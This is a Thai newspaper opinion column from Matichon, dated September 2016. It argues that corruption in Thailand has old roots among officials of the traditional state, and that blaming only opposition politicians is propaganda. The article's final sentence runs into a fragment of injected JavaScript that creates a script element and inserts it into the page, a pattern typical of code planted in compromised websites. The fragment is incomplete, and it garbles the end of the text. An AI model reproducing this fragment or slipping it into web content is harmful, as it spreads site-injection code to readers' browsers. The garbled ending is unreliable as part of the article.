มติชนรายวัน ฉบับประจำวันอังคารที่ 6 กันยายน 2559

 

โกง มีรากเหง้าเก่าแก่

จากข้าราชการ ในรัฐจารีต

 

           โกง กับ คอร์รัปชั่นในสังคมไทยมีความหมายเดียวกัน และมีรากเหง้าเก่าแก่จากฉ้อราษฎร์บังหลวงโดยขุนนางข้าราชการในรัฐจารีต แล้วเป็นมรดกตกทอดถึงรัฐชาติสมัยใหม่จนปัจจุบัน

           แต่ทุกวันนี้ถูกครอบงำด้วยโฆษณาชวนเชื่อว่าคนโกง, คอร์รัปชั่น มีพวกเดียวคือนักการเมือง แล้วพยายามทำให้แคบว่านักการเมืองฝ่ายตรงข้ามรัฐบาลเท่านั้น

           โกง หมายถึง ใช้อำนาจหรือเล่ห์เหลี่ยมเอาเปรียบผู้อื่น โดยไม่ถือตามกติกา

           คอร์รัปชั่น หมายถึง ฉ้อราษฎร์บังหลวง, กินสินบน, รับผลประโยชน์ที่มิชอบจากหน้าที่การงาน (ยืมทับศัพท์จากคำฝรั่งว่า corruption)

           ฉ้อราษฎร์บังหลวง หมายถึง การที่พนักงานเจ้าหน้าที่เก็บเงินจากราษฎร แล้วไม่ส่งหลวง หรือเบียดบังเงินหลวง โกงเอาเงินรัฐ โดยเจ้าหน้าที่ของรัฐ

           ปัจจุบัน โกง กับ คอร์รัปชั่น มีความหมายกว้างกว่าเดิม แล้วมีคนเกี่ยวข้องมากกว่าแต่ก่อน ตั้งแต่ข้าราชการ (ทั้งมีเครื่องแบบและไม่มี), นักการเมือง, พ่อค้า, ประชาชนหลากหลาย ฯลฯ ไม่เว้นแม้กระทั่งพระสงฆ์และครูบาอาจารย์สถาบันการศึกษาทุกระดับ

           ถ้าใส่ร้ายคนกลุ่มเดียวโกง ว่าเป็นนักการเมืองฝ่ายตรงข้าม ก็เท่ากับปกป้องพวกเดียวกันเองซึ่งโกง แล้วเบี่ยงเบนโยนบาปให้คนกลุ่มอื่น

           แนวทางป้องกันคนโกงอย่างได้ผล มีตัวอย่างในนานาอารยประเทศ

           คือเริ่มแรกต้องมีระบอบการเมืองเปิด และมีรัฐธรรมนูญที่ประชาชนคนธรรมดามีสิทธิ์มีเสียงตามมาตรฐานสากลอย่างเต็มที่ มีระบบถ่วงดุลอย่างมีประสิทธิภาพ ฯลฯ ตามที่ อ. ผาสุก พงษ์ไพจิตร บอกไว้ในบทความเรื่องคอร์รัปชั่นระดับแสนล้านจะป้องกันอย่างไร? (มติชน ฉบับวันศุกร์ที่ 2 กันยายน 2559 หน้า 16)

           ที่แน่ๆ คือไม่ใช่จัดอีเวนต์ต้านโกงเบี่ยงเบนความจริง โดยสร้างภาพตัวเองและคณะเป็นคนดีมีศีลธรรมและไม่โกง เพื่อปกปิดสิ่งตรงข้ามvar d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);